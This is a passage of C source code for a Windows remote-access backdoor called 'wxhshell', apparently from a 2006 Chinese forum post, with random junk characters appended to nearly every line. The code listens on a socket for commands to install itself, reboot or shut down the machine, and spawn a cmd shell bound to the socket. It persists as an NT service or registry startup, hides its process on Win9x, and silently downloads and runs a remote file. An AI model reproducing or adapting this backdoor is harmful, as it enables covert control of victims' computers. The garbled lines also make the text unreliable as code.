      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6`WI S4  
    break; Oj8xc!d'  
  } (i;,D-  
  // 安装 Xf{ht%b  
  case 'i': { ^y.|KA3[  
    if(Install()) D%~"]WnZ\Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); au#/Q  
    else o3cE.YUF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *?rO@sQy]  
    break; C 8KV<k  
    } .2V?G]u  
  // 卸载 uNf97*~_  
  case 'r': { k2/t~|5  
    if(Uninstall()) 7G=Q9^J.H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &G)/i*  
    else SZD7"m4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~A_1he~  
    break; _[h!r;DsG  
    } #ON^6f2  
  // 显示 wxhshell 所在路径 `_e5pW=:>  
  case 'p': { I{i6e'.jP  
    char svExeFile[MAX_PATH]; 0@wXE\s  
    strcpy(svExeFile,"\n\r"); "Pl.G[Buc-  
      strcat(svExeFile,ExeFile); lUIh0%O  
        send(wsh,svExeFile,strlen(svExeFile),0); ?tkl cYB  
    break; _'Rg7zHTp-  
    } ^B$cfs@*  
  // 重启 nCDG PzJ  
  case 'b': { E&dxM{`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YBL.R;^v  
    if(Boot(REBOOT)) 'HJ<"<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tuJ{IF  
    else { (Rsf;VPO  
    closesocket(wsh); }b^x#HC  
    ExitThread(0); DD}YbuO7  
    } WsW]  1p  
    break; {Ga=; 0  
    } 45H9pY w  
  // 关机 P6A##z  
  case 'd': { [I gqK5@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O~|Y#T  
    if(Boot(SHUTDOWN)) <B!DwMk;.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a5pXn v]A  
    else { Ec&_&  
    closesocket(wsh); j>G|Xv  
    ExitThread(0); pGr4b:N  
    } ~9#'s'  
    break; y?Pw6;e.  
    } HMhdK  
  // 获取shell ccT <UIpq  
  case 's': { EY0,Q {  
    CmdShell(wsh); !Y 9V1oVf"  
    closesocket(wsh); 6!H,(Z]j  
    ExitThread(0); %~[@5<p  
    break; <{i1/"k?X  
  } % CQv&d2  
  // 退出 _k#GjAPM  
  case 'x': { e/x6{~ju^N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'EN80+xYX  
    CloseIt(wsh); n. vrq-  
    break; VO~%O.>  
    } |uI~}pSG  
  // 离开 gA gF$H .  
  case 'q': { (gIFuOGi>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <o/lK\>  
    closesocket(wsh); ,y@WFRsx  
    WSACleanup(); a:;7'w'  
    exit(1); +No` 89Y  
    break; y;_F[m  
        } sFHqLG{/  
  } ihekON":  
  } = ?BhtW  
s>%.bAxc  
  // 提示信息 r;p@T8k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DXQ]b)y+N  
} gf}*}8D  
  } ZQn>+c2%!  
6n~)R  
  return; #fk1'c2  
} ].sD#~L_  
nm_4E8&X  
// shell模块句柄 (EjlnG}5l  
int CmdShell(SOCKET sock) ,3!TyQ \m'  
{ Ti7 @{7>  
STARTUPINFO si; D&i, `j  
ZeroMemory(&si,sizeof(si)); f$vU$>+[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ryqu2>(   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AMASh*  
PROCESS_INFORMATION ProcessInfo; *IIA"tC  
char cmdline[]="cmd"; Uy*d@vU9c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7U-}Y  
  return 0; kU#k#4X4g  
} *!E~4z=  
5>UQ3hWo  
// 自身启动模式 ";7/8(LBZ  
int StartFromService(void) rz&'wCiOO  
{ 947;6a%$  
typedef struct u,{R,hTDS  
{ gXU(0(Gq  
  DWORD ExitStatus; /^v!B`A @  
  DWORD PebBaseAddress; k~3\0man  
  DWORD AffinityMask; QcJC:sP\>  
  DWORD BasePriority; l<+PA$+}}  
  ULONG UniqueProcessId; oE6`]^^  
  ULONG InheritedFromUniqueProcessId; 6b$C/  
}   PROCESS_BASIC_INFORMATION; s= 5 k7  
:U/]*0b  
PROCNTQSIP NtQueryInformationProcess; oI'& &Bt  
s:_a.4&Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U_;="y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lw99{y3<<  
fD3'Ye<R  
  HANDLE             hProcess; &[ ],rT  
  PROCESS_BASIC_INFORMATION pbi; Lusd kc7  
{`e-%<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WRwx[[e6z  
  if(NULL == hInst ) return 0; m*CW3y{n)  
pKGhNIj$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >B=s+ }/ME  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,zr,>^ v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *wY+yoj  
m#i4_F=^b  
  if (!NtQueryInformationProcess) return 0; iSR"$H{  
R9Wr?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q@O  
  if(!hProcess) return 0; *9xxX,QT8Q  
/U0Hk>$~(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .'Q*_};W  
qY'+@^<U;  
  CloseHandle(hProcess); BDzAmrO<  
%<+uJ'pj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pL} F{G.  
if(hProcess==NULL) return 0; *s-s1v  
WT")tjVKA  
HMODULE hMod; kB=B?V~#  
char procName[255]; EJMd[hMhe  
unsigned long cbNeeded; u\= 05N6G  
^#mWV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;%(sbA  
5Phsh  
  CloseHandle(hProcess); l&qyLL2 w  
}*}F_Y+  
if(strstr(procName,"services")) return 1; // 以服务启动 mMOgx   
S[yrGX8lu  
  return 0; // 注册表启动 !Q_Wbu\U  
} 6}Tftw$0z  
t 4zUj%F  
// 主模块 [KHlApL  
int StartWxhshell(LPSTR lpCmdLine) [tJn! cMs  
{ FG{,l=Z0  
  SOCKET wsl; 9` UbsxFl  
BOOL val=TRUE; WcS`T?Xa  
  int port=0; Zi7cp6~7  
  struct sockaddr_in door; `q* p-Ju'  
zh0T3U0D  
  if(wscfg.ws_autoins) Install(); Vy[xu$y  
9W]OtSG  
port=atoi(lpCmdLine); _?cum ~A@  
 <82&F  
if(port<=0) port=wscfg.ws_port; _'1 ]CoR  
)*XWe|H_  
  WSADATA data; 94dd )/a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iu*&Jz)D>  
4e eh+T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Sy1O;RTn`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YEaT_zWG0  
  door.sin_family = AF_INET; m a@V>*u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H lM7^3(&  
  door.sin_port = htons(port);  $RRX-  
m%[/w wL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yvzH}$!]  
closesocket(wsl); g] }!  
return 1; IzUpkwN  
} LL (TD&  
^,^MW  
  if(listen(wsl,2) == INVALID_SOCKET) { &g5PPQ18  
closesocket(wsl); 6)?u8K5%r  
return 1; WwZ3hd  
} }0]uA|lH*  
  Wxhshell(wsl); -ZSN0Xk  
  WSACleanup(); k[ D,du')  
w|S b`eR  
return 0; ~&RrlFh  
Y Z8[h`z  
} |?{V-L  
PMbZv%.,-  
// 以NT服务方式启动 0x5Ax=ut  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %bF157X5An  
{ N*$GP3]  
DWORD   status = 0; ||wi4T P  
  DWORD   specificError = 0xfffffff; o/V T"cT  
.AO-S)wHR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Lp(`m=;O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,K\7y2/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u<fZ.1  
  serviceStatus.dwWin32ExitCode     = 0; GwP!:p|  
  serviceStatus.dwServiceSpecificExitCode = 0; 'SlZ-SdR  
  serviceStatus.dwCheckPoint       = 0; h0k?(O  
  serviceStatus.dwWaitHint       = 0; 9U.Ctx:F  
U_PH#e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pKq[F*Lut  
  if (hServiceStatusHandle==0) return; ,'`yh|}G\  
%(khE-SW  
status = GetLastError(); F$ G)vskd  
  if (status!=NO_ERROR) Y ?n4#J<  
{ ?K:\WW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  I2i'  
    serviceStatus.dwCheckPoint       = 0; 2/V%jS[4#y  
    serviceStatus.dwWaitHint       = 0; |36%B7H  
    serviceStatus.dwWin32ExitCode     = status; AQQa6Ce*  
    serviceStatus.dwServiceSpecificExitCode = specificError; =6:9y}~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z{w %pUn}  
    return; O9By5j 4  
  } e_|<tYx><  
D>W&#A8&y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :fL7"\ pf~  
  serviceStatus.dwCheckPoint       = 0; pA_u;*  
  serviceStatus.dwWaitHint       = 0; rm3/R<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H^S<bZ  
} >M{98NH  
+8?18@obp  
// 处理NT服务事件,比如:启动、停止 +kYp!00  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0vSPeZ  
{ /LWk>[Z;  
switch(fdwControl) Ekq(  
{ \rUKP""m  
case SERVICE_CONTROL_STOP: t(roj@!x_o  
  serviceStatus.dwWin32ExitCode = 0; ?32~%?m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~%h )G#N  
  serviceStatus.dwCheckPoint   = 0; K{DmMi];I  
  serviceStatus.dwWaitHint     = 0; c\rP -"C  
  { U&R)a| 7R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GEVDXx>@  
  } T>(X`(  
  return; oVHe<zE.  
case SERVICE_CONTROL_PAUSE: Y0lLO0'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m5N,[^-  
  break; Pb T2- F_  
case SERVICE_CONTROL_CONTINUE: qvy*; <w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'JdK0w#  
  break; u5rvrn ]  
case SERVICE_CONTROL_INTERROGATE: P~!,"rY  
  break; ZoJq JWsd  
}; ;Qt/(/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /2=9i84  
} zJ}abo6rVw  
mpk+]n@  
// 标准应用程序主函数 LD?\gK "  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c9jS !uDMK  
{ %?+Lkj&  
;J+iwS*Z  
// 获取操作系统版本 Y&,}q_Z:  
OsIsNt=GetOsVer(); =BR+J9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DS%]7,g]  
}L|B@fW  
  // 从命令行安装 nJv=kk1|o  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4*f+np  
pV8tn!  
  // 下载执行文件 b1'849i'y=  
if(wscfg.ws_downexe) { 29Gel  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *rxYal4ad  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7>MG8pf3a  
} ,']CqhL6=R  
WY@g=W>+  
if(!OsIsNt) { l0t(t*[Mj  
// 如果时win9x,隐藏进程并且设置为注册表启动 SnUR?k1  
HideProc(); #d[Nm+~ko  
StartWxhshell(lpCmdLine); 2x|F Vp  
} SzeY?04zj:  
else }JQy&V%  
  if(StartFromService()) {*8G<&  
  // 以服务方式启动 CflyK@  
  StartServiceCtrlDispatcher(DispatchTable); r~QE}00@^  
else ,2FI?}+R  
  // 普通方式启动 t&x\@p9  
  StartWxhshell(lpCmdLine); ]i,o+xBKH  
` wj'  
return 0; znWB.H  
}
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只看该作者 1 发表于: 2006-10-10
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